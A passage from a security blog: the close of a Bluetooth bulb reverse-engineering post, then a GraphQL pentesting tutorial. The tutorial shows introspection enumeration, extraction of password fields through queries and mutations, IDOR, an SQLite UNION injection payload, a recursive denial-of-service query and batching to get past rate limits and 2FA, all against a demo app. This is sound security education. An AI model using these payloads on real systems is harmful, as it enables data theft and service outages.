Characteristic write 0000ffd9-0000-1000-8000-00805f9b34fb data: 242a2b42
Characteristic write 0000ffd9-0000-1000-8000-00805f9b34fb data: 1014160c07171033030001

Playing with the app and changing the color on the application we inspect the packets exchanged:

Characteristic write 0000ffd9-0000-1000-8000-00805f9b34fb data: 5600bf0f00f0aa
Characteristic write 0000ffd9-0000-1000-8000-00805f9b34fb data: 5600bf1a00f0aa
Characteristic write 0000ffd9-0000-1000-8000-00805f9b34fb data: 5600bf7400f0aa
Characteristic write 0000ffd9-0000-1000-8000-00805f9b34fb data: 5600bf7b00f0aa
Characteristic write 0000ffd9-0000-1000-8000-00805f9b34fb data: 5600bfb400f0aa
Characteristic write 0000ffd9-0000-1000-8000-00805f9b34fb data: 5600bfba00f0aa
Characteristic write 0000ffd9-0000-1000-8000-00805f9b34fb data: 56008dbf00f0aa
Characteristic write 0000ffd9-0000-1000-8000-00805f9b34fb data: 560087bf00f0aa
Characteristic write 0000ffd9-0000-1000-8000-00805f9b34fb data: 56007fbf00f0aa
Characteristic write 0000ffd9-0000-1000-8000-00805f9b34fb data: 560078bf00f0aa
Characteristic write 0000ffd9-0000-1000-8000-00805f9b34fb data: 560073bf00f0aa
Characteristic write 0000ffd9-0000-1000-8000-00805f9b34fb data: 56006bbf00f0aa
Characteristic write 0000ffd9-0000-1000-8000-00805f9b34fb data: 560067bf00f0aa
Characteristic write 0000ffd9-0000-1000-8000-00805f9b34fb data: 560060bf00f0aa
Characteristic write 0000ffd9-0000-1000-8000-00805f9b34fb data: 56005cbf00f0aa
Characteristic write 0000ffd9-0000-1000-8000-00805f9b34fb data: 560056bf00f0aa
Characteristic write 0000ffd9-0000-1000-8000-00805f9b34fb data: 560024bf00f0aa
Characteristic write 0000ffd9-0000-1000-8000-00805f9b34fb data: 56001fbf00f0aa
Characteristic write 0000ffd9-0000-1000-8000-00805f9b34fb data: 561300bf00f0aa
Characteristic write 0000ffd9-0000-1000-8000-00805f9b34fb data: 561800bf00f0aa
Characteristic write 0000ffd9-0000-1000-8000-00805f9b34fb data: 563900bf00f0aa
Characteristic write 0000ffd9-0000-1000-8000-00805f9b34fb data: 563c00bf00f0aa
Characteristic write 0000ffd9-0000-1000-8000-00805f9b34fb data: 567700bf00f0aa
Characteristic write 0000ffd9-0000-1000-8000-00805f9b34fb data: 568100bf00f0aa
Characteristic write 0000ffd9-0000-1000-8000-00805f9b34fb data: 56bf00ad00f0aa
Characteristic write 0000ffd9-0000-1000-8000-00805f9b34fb data: 56bf00a400f0aa
Characteristic write 0000ffd9-0000-1000-8000-00805f9b34fb data: 56bf009c00f0aa
Characteristic write 0000ffd9-0000-1000-8000-00805f9b34fb data: 56bf009300f0aa
Characteristic write 0000ffd9-0000-1000-8000-00805f9b34fb data: 56bf008900f0aa
Characteristic write 0000ffd9-0000-1000-8000-00805f9b34fb data: 56bf007f00f0aa
Characteristic write 0000ffd9-0000-1000-8000-00805f9b34fb data: 56bf007500f0aa

So, we have mapped our targeted functionality in the mobile application to the targeted functionality on the device (light color changing).

Closing remarks

This is the tip of the iceberg, and more interesting things can be done.

We could continue our exploration of the class by understanding each and every method of the class. However, we won’t delve more into this article. A future article shall delve deeper into the third phase and cover the behavior analysis.

Would you like to learn more?

Subscribe to stay ahead of competition!

Before reading further, please read the gentle introduction below to make sure you fully understand how GraphQL works!

The GraphQL

The Value of GraphQL

The goal of GraphQL is pretty much the same as of REST-API. In a REST API we don’t care about rendering, we don’t care about viewing any images and we don’t expect any HTML back. We expect to send data and to receive some structured data. GraphQL is no different, except the query we form is way more flexible than of REST API.

Basically, GraphQL breaks the dependencies between the front-end and back-end. Imagine how hard it’s to keep-up with the plethora of options an API endpoint may have, for example, which parameters exists for each endpoint, and what’s their type. Also, the documentation must be up-to-date. In GraphQL, the documentation is the schema it-self. With GraphQL you may query a particular table, and ask to return only a subset of values.

Finally, in GraphQL you have just one endpoint, where in a REST API model, you may have many. Instead of having multiple endpoints, we specially craft our POST request to include our query.

The Structure of GraphQL

To better understand how it works, let’s get started with a simple GraphQL query.

The GraphQL engine is listening on a single endpoint – usually the endpoint is the following: “/graphql”

What directs the flow of the execution, it’s the query’s body itself. Here is an example:

The “query” keyword is the type of the operation (the mutation is another type of operation). The “operation endpoint” is what is taken-off from the REST API and transferred into the GraphQL: it’s like saying /graphql/user. Finally, the “name” and “age” are the fields we wish to receive from this operation. So, name and age are the fields we wish the API to return back to us – a.k.a the projection.

Because the GraphQL uses a query body (as the structure explained above), the HTTP POST method is used to transfer the data, for each and every request.

Finally, the graphql query is included in a JSON format and more particularly in the field “query”.

So here is the full raw request we would send:

POST /graphql HTTP/1.1
... SNIP ...

{"query":"{ query { user { name age } } }"}

The Operation Types

There are three operation types in GraphQL

1. Query Operations

2. Mutation Operations

3. Subscriptions

Comparing such operations with the equivalent REST API ones:

Query Operations: GET

Mutation Operations: POST, PUT, PATCH, DELETE

Subscription Operations: Real-time connection via websockets

The GraphQL’s Endpoint

As I mentioned above, the common convention for the GraphQL’s endpoint name is often “/graphql” – it’s the engine’s default. However, this is not true for every implementation. The endpoint can be defined by the developer. Usually, the developer defines the endpoint as “graphql” and is found at the root directory. Here are some variations:

/graphql/graphiql
/graphql/graphiql.php
/graphql/console
/graphql.php
/api/gql

Authentication

Also, you have to note that the GraphQL implementation doesn’t require or enforce, any kind of authentication. This is up to the developer. Often the developers are in a hurry because of time limitations thus they postpone security-stuff.

Furthermore, when developers are using the MVC model, they make use of controllers, models and views. However, when the application is totally based on GraphQL, the routes are transferred through the GraphQL’s route. The authentication must be enforced in all endpoints. While the rest of the application might enforce authentication, the GraphQL’s endpoint might be left open to all unauthenticated users, so make sure you test that endpoint too.

GraphQL Enumeration

The GraphQL exposes its schema and its structures to a query commonly called GraphQL Introspection.

The introspection query can be used by developers, or even third-party partners or developers, to know what the API exposes. Think of it as a swagger file or a postman file.

Often the developers forget configuring and changing the default settings of GraphQL and the introspection is exposed to the public. Exposing such interface permits anyone to understand your API, the API types or fields, and this often leads to data leaks. However, if the implementation is secure, exposing the schema is not a security problem. That said, exposing the documentation of the API may not be something many companies want to do.

To properly enumerate the GraphQL, at first, query the supported types:

query {\n  __schema {\n    types {\n      name\n      fields {\n        name\n      }\n    }\n  }\n}

Let’s break down this simple introspection query.

Simple Introspection Query

Query:

query {
  __schema {
    types {
      name
      fields {
        name
      }
    }
  }
}

As part of our research we have developed a vulnerable application based on GraphQL to better explaining the vulnerabilities. Most of the examples are based on the particular app.

Running the introspection query gives the following output (we omit showing the full raw POST request and response):

{
  "data": {
    "__schema": {
      "types": [
        {
          "name": "Article",
          "fields": [
            {
              "name": "id"
            },
            {
              "name": "title"
            },
            {
              "name": "views"
            }
          ]
        },
        {
          "name": "Int",
          "fields": null
        },
        {
          "name": "String",
          "fields": null
        },
        {
          "name": "User",
          "fields": [
            {
              "name": "id"
            },
            {
              "name": "username"
            },
            {
              "name": "email"
            },
            {
              "name": "password"
            },
            {
              "name": "level"
            }
          ]
        },
        {
          "name": "InputUserData",
          "fields": null
        },
        {
          "name": "RootQueries",
          "fields": [
            {
              "name": "getArticles"
            },
            {
              "name": "getUsers"
            }
          ]
        },
        {
          "name": "RootMutations",
          "fields": [
            {
              "name": "updateUsers"
            }
          ]
        },
        {
          "name": "Boolean",
          "fields": null
        },
        {
          "name": "__Schema",
          "fields": [
            {
              "name": "description"
            },
            {
              "name": "types"
            },
            {
              "name": "queryType"
            },
            {
              "name": "mutationType"
            },
            {
              "name": "subscriptionType"
            },
            {
              "name": "directives"
            }
          ]
        },
        {
          "name": "__Type",
          "fields": [
            {
              "name": "kind"
            },
            {
              "name": "name"
            },
            {
              "name": "description"
            },
            {
              "name": "specifiedByURL"
            },
            {
              "name": "fields"
            },
            {
              "name": "interfaces"
            },
            {
              "name": "possibleTypes"
            },
            {
              "name": "enumValues"
            },
            {
              "name": "inputFields"
            },
            {
              "name": "ofType"
            }
          ]
        },
        {
          "name": "__TypeKind",
          "fields": null
        },
        {
          "name": "__Field",
          "fields": [
            {
              "name": "name"
            },
            {
              "name": "description"
            },
            {
              "name": "args"
            },
            {
              "name": "type"
            },
            {
              "name": "isDeprecated"
            },
            {
              "name": "deprecationReason"
            }
          ]
        },
        {
          "name": "__InputValue",
          "fields": [
            {
              "name": "name"
            },
            {
              "name": "description"
            },
            {
              "name": "type"
            },
            {
              "name": "defaultValue"
            },
            {
              "name": "isDeprecated"
            },
            {
              "name": "deprecationReason"
            }
          ]
        },
        {
          "name": "__EnumValue",
          "fields": [
            {
              "name": "name"
            },
            {
              "name": "description"
            },
            {
              "name": "isDeprecated"
            },
            {
              "name": "deprecationReason"
            }
          ]
        },
        {
          "name": "__Directive",
          "fields": [
            {
              "name": "name"
            },
            {
              "name": "description"
            },
            {
              "name": "isRepeatable"
            },
            {
              "name": "locations"
            },
            {
              "name": "args"
            }
          ]
        },
        {
          "name": "__DirectiveLocation",
          "fields": null
        }
      ]
    }
  }
}

• The result is in JSON format

• The schema is included which contains the various types of the GraphQL interface

• For each query or mutation interface, there is a handling function behind it

• All inputs, data types and queries are treated as types.

• In the enumeration phase, we would like to learn more about the main queries rather than the various types. The main query operations are the ones often found inside the RootQueries type (named defined by the developer). The main mutation operations are the ones inside the RootMutations type.

• There are two queries which seems to return users and articles - nothing more can be assumed by the above output

Query for arguments

Let's find out what arguments each query receives:

Query:

query {
  __schema {
    queryType { 
    fields  { 
    name 
    args {  
      name
      type {name} 
    }
  } 
 }
 }
}

Output:

{
  "data": {
    "__schema": {
      "queryType": {
        "fields": [
          {
            "name": "getArticles",
            "args": []
          },
          {
            "name": "getUsers",
            "args": []
          }
        ]
      }
    }
  }
}

So no arguments for the "query" type of queries.

Let's find out about mutation queries:

Query:

query {
  __schema {
    mutationType { 
  fields  { 
    name 
    args {  
      name
      type {name} 
    }
  } 
    }
  }
}

Output:

{
  "data": {
    "__schema": {
      "mutationType": {
        "fields": [
          {
            "name": "updateUsers",
            "args": [
              {
                "name": "userInput",
                "type": {
                  "name": null
                }
              }
            ]
          }
        ]
      }
    }
  }
}

Aha! The function updateUsers takes an argument named "userInput".

Rogue Introspection Query

Let's make a final introspection query to get everything we can related to the schema. The methodology I follow is to first execute first simple introspection queries to understand the main functions, and then I move-on to the more thorough ones. This is because the real applications often respond with a lot of data and this can be confusing.

Query:

query IntrospectionQuery {
    __schema {
      queryType { name }
      mutationType { name }
      subscriptionType { name }
      types {
        ...FullType
      }
      directives {
        name
        description
        args {
          ...InputValue
        }
        locations
      }
    }
  }

  fragment FullType on __Type {
    kind
    name
    description
    fields(includeDeprecated: true) {
      name
      description
      args {
        ...InputValue
      }
      type {
        ...TypeRef
      }
      isDeprecated
      deprecationReason
    }
    inputFields {
      ...InputValue
    }
    interfaces {
      ...TypeRef
    }
    enumValues(includeDeprecated: true) {
      name
      description
      isDeprecated
      deprecationReason
    }
    possibleTypes {
      ...TypeRef
    } 
  }   
      
  fragment InputValue on __InputValue {
    name
    description
    type { ...TypeRef }
    defaultValue
  }     
        
  fragment TypeRef on __Type {
    kind
    name
    ofType {
      kind
      name
      ofType {
        kind
        name
        ofType {
          kind
          name
        }
      }
    } 
  } 

Output:

... SNIP ...
       {
          "kind": "OBJECT",
          "name": "RootQueries",
          "description": null,
          "fields": [
            {
              "name": "getArticles",
              "description": null,
              "args": [],
              "type": {
                "kind": "LIST",
                "name": null,
                "ofType": {
                  "kind": "NON_NULL",
                  "name": null,
                  "ofType": {
                    "kind": "OBJECT",
                    "name": "Article",
                    "ofType": null
                  }
                }
              },
              "isDeprecated": false,
              "deprecationReason": null
            },
            {
              "name": "getUsers",
              "description": null,
              "args": [],
              "type": {
                "kind": "LIST",
                "name": null,
                "ofType": {
                  "kind": "NON_NULL",
                  "name": null,
                  "ofType": {
                    "kind": "OBJECT",
                    "name": "User",
                    "ofType": null
                  }
                }
              },
              "isDeprecated": false,
              "deprecationReason": null
            }
          ],
          "inputFields": null,
          "interfaces": [],
          "enumValues": null,
          "possibleTypes": null
        },
        {
          "kind": "OBJECT",
          "name": "RootMutations",
          "description": null,
          "fields": [
            {
              "name": "updateUsers",
              "description": null,
              "args": [
                {
                  "name": "userInput",
                  "description": null,
                  "type": {
                    "kind": "LIST",
                    "name": null,
                    "ofType": {
                      "kind": "INPUT_OBJECT",
                      "name": "InputUserData",
                      "ofType": null
                    }
                  },
                  "defaultValue": null
                }
              ],
              "type": {
                "kind": "LIST",
                "name": null,
                "ofType": {
                  "kind": "NON_NULL",
                  "name": null,
                  "ofType": {
                    "kind": "OBJECT",
                    "name": "User",
                    "ofType": null
                  }
                }
              },
              "isDeprecated": false,
              "deprecationReason": null
            }
          ],
          "inputFields": null,
          "interfaces": [],
          "enumValues": null,
          "possibleTypes": null
        },
... SNIP ...

To summarize the above snippet:

• The Query Function getArticles, takes no arguments but returns a LIST of "Article" data

• The Query Function getUsers, takes no arguments but returns a LIST of "User" data

• The Mutation Function updateUsers takes an argument named "userInput" which takes LIST of "InputUserData" data. The function returns "User" data.

Now, in your regular Pen Tests or bug bounties, the first thing to do is to map the application and inspect the various queries sent by the application's front-end. This will also give you an overview of the API and its various methods. Combining the introspection and the intercepted queries gives you an idea of what functions exists and how such functions are used by the application. Warning: The front-end may not call all the functions of the GraphQL ;)

In this phase, you have to note down which functionality is not triggered by the application's UI. Such queries may be used by the back-end UI and not used by the front-end. Also, such functions might be unattended and deemed deprecated but haven't been removed by the developers. Therefore, you may want to check them out - we'll have a look later on how to construct our own queries.

Analyzing the GraphQL Functions

Assume the intercepted queries are the following:

getUsers Function:

query GetAllUsers {
  getUsers {username}
}

Invoking the query:

{
  "data": {
    "getUsers": [
      {
        "username": "theo"
      },
      {
        "username": "john"
      }
    ]
  }
}

The string "GetAllUsers" is the name of operation. This is just a label and you may simple ignore it. It is used only for organizational purposes and cannot alter the results in any way nor it's taken into account by the back-end API.

The next thing to do, is to find out what kind of type this function returns. We have already seen that in introspection. The returned type is "User".

Recall the first introspection query - the simple one:

... SNIP ...
        {
          "name": "User",
          "fields": [
            {
              "name": "id"
            },
            {
              "name": "username"
            },
            {
              "name": "email"
            },
            {
              "name": "password"
            },
            {
              "name": "level"
            }
          ]
        },
... SNIP ...

The most sensible thing to do, is to ask for more data. GraphQL allows for flexible queries, it's what it does.

Query:

query GetAllUsers {
  getUsers {username, id}
}

Output:

{
  "data": {
    "getUsers": [
      {
        "username": "theo",
        "id": 1
      },
      {
        "username": "john",
        "id": 2
      }
    ]
  }
}

We were able to retrieve more data than the front-end was programmed to. Let's ask for the user's password by extending the query:

Query:

query GetAllUsers {
  getUsers {username, id, password}
}

Output:

{
  "data": {
    "getUsers": [
      {
        "username": "theo",
        "id": 1,
        "password": "1234"
      },
      {
        "username": "john",
        "id": 2,
        "password": "5678"
      }
    ]
  }
}

The output shows that It is possible to retrieve the requested fields.

Now, let's craft our own queries by inspecting the types and arguments of the queries of the current app.

Manually Crafting a Query

So, what we've got so far:

• The Query Function getArticles, takes no arguments but returns a LIST of "Article" data

• The Query Function getUsers, takes no arguments but returns a LIST of limited "User" data

• The Mutation Function updateUsers takes an argument named "userInput" which takes LIST of "InputUserData" data. The function returns "User" data.

We wish to retrieve all fields of the type "Article", as this is the type returned by the function "getArticles".

• To craft a query, first we wish to select the operation type, that will be a "query" - as we wish to retrieve data without putting any data in.

• The HTTP method is again, a POST method.

• The query function getArticles returns a LIST of "Article" data type which has the following fields (taken from the simple introspection query shown before):

... SNIP ...
        {
          "name": "Article",
          "fields": [
            {
              "name": "id"
            },
            {
              "name": "title"
            },
            {
              "name": "views"
            }
          ]
        },
... SNIP ...

Now that we have the operation type, function's name, arguments and their type (no arguments in this case) and the return type, we can form the query as the following:

queryType operationName { function(arguments) {return-fields} }

Here is the actual query:

query GetArticles {
  getArticles {title, views, id}
}

Output:

{
  "data": {
    "getArticles": [
      {
        "title": "Article1",
        "views": 1337,
        "id": 10
      },
      {
        "title": "Article2",
        "views": 1338,
        "id": 11
      }
    ]
  }
}

As you can see we can receive all the fields of the "Articles" data type.

Manually Crafting a Mutation Query

Recall the introspection results:

...
"name": "updateUsers",
"description": null,
"args": [
  {
    "name": "userInput",
    "description": null,
    "type": {
      "kind": "LIST",
      "name": null,
      "ofType": {
        "kind": "INPUT_OBJECT",
        "name": "InputUserData",
        "ofType": null
      }
    },
    "defaultValue": null
  }
],
"type": {
  "kind": "LIST",
  "name": null,
  "ofType": {
    "kind": "NON_NULL",
    "name": null,
    "ofType": {
      "kind": "OBJECT",
      "name": "User",
      "ofType": null
    }
  }
},
...

The mutation query named updateUsers, receives a list of type InputUserData and returns a list of objects of type User.

The InputUserData is also returned from the introspection query:

...
{
  "kind": "INPUT_OBJECT",
  "name": "InputUserData",
  "description": null,
  "fields": null,
  "inputFields": [
    {
      "name": "id",
      "description": null,
      "type": {
        "kind": "NON_NULL",
        "name": null,
        "ofType": {
          "kind": "SCALAR",
          "name": "Int",
          "ofType": null
        }
      },
      "defaultValue": null
    },
    {
      "name": "level",
      "description": null,
      "type": {
        "kind": "NON_NULL",
        "name": null,
        "ofType": {
          "kind": "SCALAR",
          "name": "Int",
          "ofType": null
        }
      },
      "defaultValue": null
    }
  ],
  "interfaces": null,
  "enumValues": null,
  "possibleTypes": null
},
...

Therefore, we have to provide a field named id of type int, and a field named level of type int. Let's do that:

mutation UpdateUsers {
  updateUsers(userInput: {id:1,level:3}) {username}
}

Response:

{
  "data": {
    "updateUsers": [
      {
        "username": "theo"
      }
    ]
  }
}

As we shall see later there are more ways of feeding data the GraphQL.

Mutation or... a Trap?

Let's say that you have intercepted the following GraphQL Mutation query:

mutation UpdateUsers {
  updateUsers(userInput: {id:1,level:3}) {username}
}

Since you know the id is an integer, the first thing to do, is to try for IDOR vulnerabilities.

The query seems to allow us to alter the user's level (permission level). Considering the app/front-end crafted the request, that means you probably have the rights to do so.

The most important part, is the query structure itself. In a query-type where you used to retrieve only data (such as the getArticles and getUsers), you may also pass-over input-data, but the data are usually not used to alter any back-end data. On the other hand, mutation queries are the ones that usually make a change and thus alters the state of the application - either adds a record, deletes or updates the data.

Therefore, the developers often think that the input data are the most important part of the request, as it contains values defined by the user. But because the queries they receive during the development cycles are predefined, because of the front-end implementation, they often forget they should also check for access controls in the fields of the output of the query.

Let's dissect the mutation query:

Even though the developers restricts what kind of data you can send to the app, nobody said you can't select what data you will receive - that's called query projection - something that you have to specifically return in a RESTful API you have that by design in GraphQL. In a mutation query, the final selection is the fields that are going to be returned after the mutation. So even after an update, a delete or an insertion, the query may - or may not - return data. In this case, the query returns data. It's up to the developer to restrict what kind of data should be returned.

Since we know the return data (it's the data type "User" - discussed earlier), let's add more fields:

mutation UpdateUsers {
  updateUsers(userInput: {id:1,level:3}) {username,password}
}

Output:

{
  "data": {
    "updateUsers": [
      {
        "username": "theo",
        "password": "1234"
      }
    ]
  }
}

As you can see we've retrieved the user's password. This is an example of a real vulnerability that happened during a real assessment. Selecting from a mutation (known as GraphQL Projection) is causing a big confusion to a lot of developers as it's something unconventional - imagine selecting while updating a table in MySQL. For example, the developers may let an intentional update. However, retrieving more information could be (and likely is) unintentional and leads to information disclosure.

Less the input data, more the leaks

In addition to the previous mutation techniques, a good test technique is to try to remove any input data. Imagine removing the userInput variable and be able to return all usernames and passwords. In this example was not possible. I have seen this before so it may happen to you too, so note it down.

Input Data Wildcard Characters

I have seen input strings to be used in database engines. Therefore, any wildcard characters such as "*" to be very useful and to return data that shouldn't be returned. For example, imagine a query where it requires an input field for filtering (i.e. username) and the value sent by front-end to be "theo". So returning data for theo is allowed. But what if we want to return other users? If you don't know their username, try adding some wildcard characters (i.e. "admin*" - this proven to be very useful as the back-end database can be No-SQL and wildcards are parsed by the engine just fine).

IDORs

The IDOR vulnerabilities also exist in the GraphQL APIs, so don't be confused with the structure of the input. For example, the uid field in the below request can be used to fetch arbitrary users, even though the type is ID. The ID type is a special type in GraphQL. In this case, the ID identifies the record which is one more reason to check for an IDOR.

POST /graphql HTTP/1.1
Host: test.local
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5


{
  "variables":
  {
    "uid":"1003"
  },
  "query":"query users($uid:ID!) {\n  users(id: $uid) {\n    id\n    name\n    description\n    __typename\n  }\n}\n"}

Graphcool - A GraphQL schema generator

So Graphcool, is a framework which enhances the GraphQL schema. It adds permissions, database mapping, subscriptions and more. However, the Graphcool, if configured, it can add more fields, which can be field filters.

Let's take an example. The previously discussed data type "User" could be altered by the Graphcool to include the following field "password_contains". This is a feature which automatically adds a filter to all - or some - fields of the data types. So for the particular field, such as the password, it works as an error-based injection. Therefore, if you put “a” it returns nothing or permission denied. But this is error-based injection so that way we can retrieve the full value (i.e the password).

Database Injections

The GraphQL is nothing more than an API interface. It can help mapping the parameters with internal structures and data. Therefore, standard database injections exists - such as an SQL Injection.

SQLite Injection Example:

POST /graphql HTTP/1.1
Host: test.local
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5


{"variables":{
"pid":"0 union select 1,2,sql FROM sqlite_master limit 1,2"
},
"query":"query partition($pid:ID!) {\n  partition(id: $pid) {\n    id\n    name\n    description\n    __typename\n  }\n}\n"}

Response:

{
    "data": {
        "project": {
            "__typename": "Partition", 
            "description": "CREATE TABLE partition (\n  id INTEGER PRIMARY KEY,\n  name TEXT,\n  description TEXT\n)", 
            "name": "2", 
            "id": "1"
        }
    }
}

Keep in mind that the majority of GraphQL implementations are integrated with NoSQL databases, therefore you may want to use the appropriate payloads ($regex, $ne etc..).

GraphQL Denial-of-Service

Going forward, I present you a different schema here to explain how Denial-of-Service is done in GraphQL:

type Author {
    name: String
    articles: [Article]
}

type Article {
    title: String
    content: String
    author: Author
}

type Query {
    articles: [Article]
}

To attack the server, we must induce a recursive call of the article object. However, because the article object is again included as a list in the Author, this is fetched recursively and thus a Denial-of-Service can be formed.

query GetArticles {
  articles {
    title
    content
    author {
       name
       articles {
          title
          author {
            name
          }
       }
    }
  }
}

To mitigate such issue, the developer must limit the maximum depth the GraphQL engine must go.

For example, the following configuration disallow the Apollo engine to go further than 10 levels down recursively:

const server = new ApolloServer({
  typeDefs,
  resolvers,
  validationRules: [ depthLimit(10) ]
});

GraphQL Amplification Attacks

GraphQL permits to insert a lot of queries into the delivery payload. The GraphQL processor will process all the queries and return the result back as a uniform JSON. To do that, you simply insert a lot of queries. This helps when there is a rate limit on the GraphQL endpoint, and can be bypassed by inserting a lot of queries by just making a single request - So 2FA can be also bypassed in certain circumstances.

Input Variables

Previously we have seen only one way of sending data arguments to GraphQL queries:

mutation UpdateUsers {
  updateUsers(userInput: {id:1,level:3}) {username,password}
}

To make an external reference this is the way to go:

{"variables":{
   "request":{
       "field-1":"value-1",
       "field-2":"value-2"
    }
},
"query":"query getBusinessInformation($request: GetBusinessInformationRequest!) {\n  getBusinessInformation(request: $request) { ...  }\n}"}

Here's another example:

{
  "variables": {
    "input": {
      "id": "51613"
    }
  },
  "query": "mutation($input: ContactProfile!) { updateContact(contactProfile: $input) { profile { id, email } } }\n"
}

Here's the function contactProfile - Just for reference:

Here's the ContactProfile data-type which is used as input data type - Just for reference:

A third way of setting variables is the following which inserts the variables in the query itself as shown below:
updateContact(contactProfile: 'abc')...

Limit Results - Pagination

Using simple queries you can hang the server, especially if you retrieve the whole database. It can happen more often that you may think! Even if the server doesn't hang on you then your burp file will store 2 to 10 MB of data per request. You want to avoid that! And it will happen believe me.

Try to limit the results:

{
  "variables": {
    "pagination": {
      "limit": 50,
      "offset": 0
    }
  },
  "query": "query bankAccount( $pagination: PaginationFilter ) {\n bankAccountPaged( pagination: $pagination ){ iban } "
}

Keep in mind that pagination must be enabled and supported by the schema your are currently testing.

Tools

GraphiQL

Some times the developers enables the Graphical GraphQL features and this stays open. This isn't a security issue and can help you out by writing and formatting your queries. By visiting the GraphQl's endpoint using a GET (in your browser), the graphical interface will eventually appear. The most important about GraphiQL, is that the supported operations are appeared on the right column. So its like a more graphical "introspection". Even though this is not a security issue, it's better to let your customers know that such endpoint must not be exposed to the public. There is no reason doing that.

Side Note: Keep in mind the queries inserted into the GraphiQL doesn't need new-line character(s) such as "\n", but you insert actual new lines instead.

Burp Suite Plugins

GraphQL Raider

This plugin may worth your time installing and playing with it, as it can extract the input values found in the variables OR found in the query itself. When extracted such insertion points can be used with Burp Active Scanner to scan for vulnerabilities - ie SQL Injections.

Note: Requires Burp Suite Pro

InQL - Introspection GraphQL Scanner

A security testing tool to facilitate GraphQL technology security auditing efforts.

This extension will issue an Introspection query to the target GraphQL endpoint in order fetch metadata information for:

• Queries, mutations, subscriptions

• Its fields and arguments

• Objects and custom object types

• Find GraphQL Cycles

Using the inql extension for Burp Suite, you can:

• Search for known GraphQL URL paths; the tool will grep and match known values to detect GraphQL endpoints within the target website

• Search for exposed GraphQL development consoles (GraphiQL, GraphQL Playground, and other common consoles)

• Use a custom GraphQL tab displayed on each HTTP request/response containing GraphQL

• Leverage the templates generation by sending those requests to Burp's Repeater tool ("Send to Repeater")

• Leverage the templates generation and editor support by sending those requests to embedded GraphIQL ("Send to GraphiQL")

GraphQL Voyager Visualizer Tool

Tool: https://ivangoncharov.github.io/graphql-voyager/

This tool allows for visualizing a GraphQL by providing the output of the introspection query. It is very useful, interactive and provides a special way of visualizing the data (like the phpMyAdmin's database designer)

Graphicator

The Graphicator is our new tool, published same time publishing this article. It helps by mapping the application's interface by introspecting the engine. Then, it creates the queries, makes requests on the endpoint based on such queries and storing the responses into separate files.

python3 main.py --target http://target:8000/graphql --verbose --multi

  _____                  __    _             __           
 / ___/____ ___ _ ___   / /   (_)____ ___ _ / /_ ___   ____
/ (_ // __// _ `// _ \ / _ \ / // __// _ `// __// _ \ / __/
\___//_/   \_,_// .__//_//_//_/ \__/ \_,_/ \__/ \___//_/   
               /_/                                         

By @fand0mas

[-] Targets:  1
[-] Headers:  'Content-Type', 'User-Agent'
[-] Verbose
[-] Using cache: True
************************************************************
  0%|                                                     | 0/1 [00:00<?, ?it/s][*] Enumerating... http://localhost:8000/graphql
[*] Retrieving... => query {getArticles  { id,title,views } }
[*] Retrieving... => query {getUsers  { id,username,email,password,level } }
100%|█████████████████████████████████████████████| 1/1 [00:00<00:00, 35.78it/s]

$ cat reqcache/9652f1e7c02639d8f78d1c5263093072fb4fd06c.json 
{
    "data": {
        "getUsers": [
            {
                "id": 1,
                "username": "theo",
                "email": "theo@example.com",
                "password": "1234",
                "level": 1
            },
            {
                "id": 2,
                "username": "john",
                "email": "john@example.com",
                "password": "5678",
                "level": 1
            }
        ]
    }
}

You can even deploy that in seconds using docker:

docker run --rm -it -p8005:80 cybervelia/graphicator --target http://target:port/graphql --verbose

Github: https://github.com/cybervelia/graphicator

A Final Note

The GraphQL doesn't support a date/time data type. So this often leads to logic errors as the data are stored as a String. This can even lead to an XSS (as the developer might assume the front-end will provide a date field).

More

To have some experience with GraphQL:

docker run --rm -p8000:8000 cybervelia/damn-vuln-graphql

A Damn Vulnerable GraphQL Web Application:

https://github.com/dolevf/Damn-Vulnerable-GraphQL-Application

Offical GraphQL's Website: graphql.org

Other Interesting Tools

• https://github.com/swisskyrepo/GraphQLmap

• https://github.com/andev-software/graphql-ide

GraphQL References:

• https://raz0r.name/articles/looting-graphql-endpoints-for-fun-and-profit/

• https://medium.com/@ignaciochiazzo/introspection-in-graphql-a5a5bd744a66

• https://prog.world/pentest-applications-with-graphql/

• https://blog.doyensec.com/2018/05/17/graphql-security-overview.html

• https://raz0r.name/articles/why-you-should-not-use-graphql-schema-generators/#more-910

• https://devhints.io/graphql

• https://medium.com/@localh0t/discovering-graphql-endpoints-and-sqli-vulnerabilities-5d39f26cea2e

• https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/graphql

• https://graphql.org/learn/queries/

• https://escape.tech/blog/graphql-batch-attacks-cause-dos/

Author: Theodoros Danos